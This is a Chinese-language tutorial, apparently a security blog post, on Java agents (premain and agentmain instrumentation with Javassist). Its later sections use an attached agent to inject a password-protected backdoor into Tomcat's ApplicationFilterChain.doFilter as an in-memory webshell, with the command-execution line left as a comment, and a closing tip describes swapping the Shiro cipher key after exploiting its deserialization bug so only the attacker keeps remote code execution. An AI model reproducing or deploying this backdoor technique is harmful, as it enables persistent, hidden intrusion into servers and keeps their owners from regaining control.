文章目录
- 1. 什么是java agent
- 补充:一些重要的类
- ClassFileTransformer
- VirtualMachine
- CtMethod
- 2. 利用premain函数实现java agent
- 2.1 执行逻辑
- 2.2 利用javaagent修改加载到jvm前被拦截的类
- 3. 利用agentmain实现javaagent
- 3.1 执行逻辑
- 3.2 参考代码
- 1. 实现连接指定jvm进程的代码:
- 2. 实现agentmain
- 4. 利用agentmain实现内存马
- 4.1 修改spring boot中的Filter实现内存马
- 4.2 运行逻辑
- 5. 局限性
- 6. 其他思路
- 参考文章
1. 什么是java agent
本质是一个jar包中的类,有两种实现,第一种是通过permain()函数实现。这种javaagent会在宿主程序的main函数的启动前启动自己premain函数,这时候会得到一个Instrumentation对象
,我们可以通过Instrumentation对象
对还未加载的class进行拦截与修改。
还有一种实现方式是利用agentmain()函数
。VirtualMachine类的attach(pid)方法可以将当前进程attach到一个运行中的java进程上,接着利用loadAgent(agentJarPath)来将含符合格式且含有agentmain函数的jar包注入到对应的进程,调用loadAgent函数后,对应的进程中会多出一个Instrumentation对象
,这个对象会被当作agentmain的一个参数。
对应进程接着会调用agentmain函数,进而操作Instrumentation对象
,Instrumentation对象
可以在class加载前拦截字节码进行修改,也可以对已经加载的class重新让它加载,并拦截且修改器中的内容,跟进程注入差不多,具体做什么操作,取决于我们的jar文件中的agentmain函数怎么写
。
补充:一些重要的类
ClassFileTransformer
Instrumentation对象
实现对class的修改操作是依赖于ClassFileTransformer
接口中的transform函数。
ClassFileTransformer对象
会被当作参数传给Instrumentation.addTransformer
函数。此时Instrumentation.addTransformer函数其实执行的是其中ClassFileTransformer的transform函数。
VirtualMachine
public abstract class VirtualMachine {
// 获得当前所有的JVM列表
public static List<VirtualMachineDescriptor> list() { ... }
// 根据pid连接到JVM
public static VirtualMachine attach(String id) { ... }
// 断开连接
public abstract void detach() {}
// 加载agent,agentmain方法靠的就是这个方法
public void loadAgent(String agent) { ... }
}
CtMethod
同理,可以理解成加强版的Method对象。
获得方法:CtMethod m = cc.getDeclaredMethod(MethodName)。
这个类提供了一些方法,使我们可以便捷的修改方法体:
public final class CtMethod extends CtBehavior {
// 主要的内容都在父类 CtBehavior 中
}
// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
// 设置方法体
public void setBody(String src);
// 插入在方法体最前面
public void insertBefore(String src);
// 插入在方法体最后面
public void insertAfter(String src);
// 在方法体的某一行插入内容
public int insertAt(int lineNum, String src);
}
2. 利用premain函数实现java agent
Javaagent是java命令的一个参数。参数 javaagent 可以用于指定一个 jar 包,并且对该 java 包有2个要求:
- 这个 jar 包的 MANIFEST.MF 文件必须指定 Premain-Class 项。
- Premain-Class 指定的那个类必须实现 premain() 方法。
拦截到的class文件会被转化为字节码,然后传给premain函数,premain函数中可以调用Instrumentation类
中的函数对刚刚传送进来的字节码进行操作。等到操作结束会将字节码给jvm加载。
premain函数格式如下:
public static void premain(String agentArgs, Instrumentation inst)
2.1 执行逻辑
如果a.jar是bcd.class的javaagent,那么执行java -javaagent:a.jar bcd
命令后发生的事情如下:
- a.jar包会拦截程序执行过程中所有的类
- 所有即将被加载的类会按顺序变成字节码,然后将字节码传送给a.jar包中指定类的premain()函数当作参数。
- premain函数我们可以自定义,根据我们写的代码可以对传入的类进行更改操作。
- 操作完后这些类会被jvm加载。
这是其中一种javaagent的实现方式,必须在java命令执行时加上-javaagent参数。
2.2 利用javaagent修改加载到jvm前被拦截的类
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
/**
* @author: rickiyang
* @date: 2019/8/12
* @description:
*/
public class PreMainTraceAgent {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("agentArgs : " + agentArgs);
//下面这段代码会触发MyClassTransformer类中的transform函数
inst.addTransformer(new MyClassTransformer(), true);
}
public class MyClassTransformer implements ClassFileTransformer {
@Override
public byte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined,final ProtectionDomain protectionDomain, final byte[] classfileBuffer) {
// 操作Date类
if ("java/util/Date".equals(className)) {
try {
// 从ClassPool获得CtClass对象
final ClassPool classPool = ClassPool.getDefault();
final CtClass clazz = classPool.get("java.util.Date");
CtMethod convertToAbbr = clazz.getDeclaredMethod("convertToAbbr");
//这里对 java.util.Date.convertToAbbr() 方法进行了改写,在 return之前增加了一个 打印操作
String methodBody = "{sb.append(Character.toUpperCase(name.charAt(0)));" +
"sb.append(name.charAt(1)).append(name.charAt(2));" +
"System.out.println(\"test test test\");" +
"return sb;}";
convertToAbbr.setBody(methodBody);
// 返回字节码,并且detachCtClass对象
byte[] byteCode = clazz.toBytecode();
//detach的意思是将内存中曾经被javassist加载过的Date对象移除,如果下次有需要在内存中找不到会重新走javassist加载
clazz.detach();
return byteCode;
} catch (Exception ex) {
ex.printStackTrace();
}
}
// 如果返回null则字节码不会被修改
return null;
}
}
3. 利用agentmain实现javaagent
3.1 执行逻辑
- 确定要attach到哪个jvm进程中
- 使用id函数确定jvm进程的pid
- 使用attach(pid)函数链接这个jvm进程
- 使用loadAgent将我们的恶意agent.jar包添加进jvm进程中
- jvm进程会生成一个instrumentation对象并传到agent.jar包中指定类的agentmain函数中当作参数。
- agentmain函数执行。
3.2 参考代码
VirtualMachine.list()
方法会去寻找当前系统中所有运行着的JVM进程,你可以打印displayName()
看到当前系统都有哪些JVM进程在运行。因为main函数执行起来的时候进程名为当前类名
,所以通过这种方式可以去找到当前的进程id。
1. 实现连接指定jvm进程的代码:
可以理解成连接器,用来连接指定的jvm进程:
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
/**
* @author rickiyang
* @date 2019-08-16
* @Desc
*/
public class TestAgentMain {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//获取当前系统中所有 运行中的 虚拟机
System.out.println("running JVM start ");
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) {
//如果虚拟机的名称为 xxx 则 该虚拟机为目标虚拟机,获取该虚拟机的 pid
//然后加载 agent.jar 发送给该虚拟机
System.out.println(vmd.displayName());
if (vmd.displayName().endsWith("com.rickiyang.learn.job.TestAgentMain")) {
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//将我们的jar文件添加到目标jvm进程中
virtualMachine.loadAgent("/Users/yangyue/Documents/java-agent.jar");
//从jvm进程中分离
virtualMachine.detach();
}
}
}
}
2. 实现agentmain
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
/**
* @author rickiyang
* @date 2019-08-16
* @Desc
*/
public class AgentMainTest {
public static void agentmain(String agentArgs, Instrumentation instrumentation) {
instrumentation.addTransformer(new DefineTransformer(), true);
}
static class DefineTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("premain load Class:" + className);
return classfileBuffer;
}
}
}
4. 利用agentmain实现内存马
4.1 修改spring boot中的Filter实现内存马
具体是通过修改ApplicationFilterChain类中的doFilter方法实现,下面是agent.jar代码,依旧使用上面的连接器进行连接:
public class AgentDemo {
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {
Class[] classes = inst.getAllLoadedClasses();
// 判断类是否已经加载
for (Class aClass : classes) {
if (aClass.getName().equals(TransformerDemo.editClassName)) {
// 添加 Transformer
inst.addTransformer(new TransformerDemo(), true);
// 触发 Transformer
inst.retransformClasses(aClass);
}
}
}
public class TransformerDemo implements ClassFileTransformer {
// 只需要修改这里就能修改别的函数
public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static final String editMethod = "doFilter";
public static String readSource(String name) {
String result = "";
// result = name文件的内容
return result;
}
@Override
public byte[] transform(...) throws IllegalClassFormatException {
try {
ClassPool cp = ClassPool.getDefault();
//判断类是否已经被加载
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
cp.insertClassPath(ccp);
}
CtClass ctc = cp.get(editClassName);
CtMethod method = ctc.getDeclaredMethod(editMethod);
//读取start.txt中的恶意代码
String source = this.readSource("start.txt");
//将代码插入到dofilter函数的开头
method.insertBefore(source);
byte[] bytes = ctc.toBytes();
//断开连接
ctc.detach();
//将更改好的ApplicationFilterChain的字节码返回并加载到jvm中使用
return bytes;
} catch (Exception e){
e.printStackTrace();
}
return null;
}
}
}
//start.txt内容
{
javax.servlet.http.HttpServletRequest request = $1;
javax.servlet.http.HttpServletResponse response = $2;
request.setCharacterEncoding("UTF-8");
String result = "";
String password = request.getParameter("password");
if (password != null) {
// change the password here
if (password.equals("xxxxxx")) {
String cmd = request.getParameter("cmd");
if (cmd != null && cmd.length() > 0) {
// 执行命令,获取回显
}
response.getWriter().write(result);
return;
}
}
}
4.2 运行逻辑
5. 局限性
1.premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
2.类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses()方法,此方法有以下限制:
新类和老类的父类必须相同;
新类和老类实现的接口数也要相同,并且是相同的接口;
新类和老类访问符必须一致。 新类和老类字段数和字段名要一致;
新类和老类新增或删除的方法必须是private static/final修饰的;
可以修改方法体。
6. 其他思路
利用shiro反序列化漏洞拿到shiro机器后,利用setCipherKey(org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag=="));
更改shiro的key,使得这个shiro机器只有你能rce其他人不知道key就不能。
参考文章
Java Agent 从入门到内存马
java agent使用指南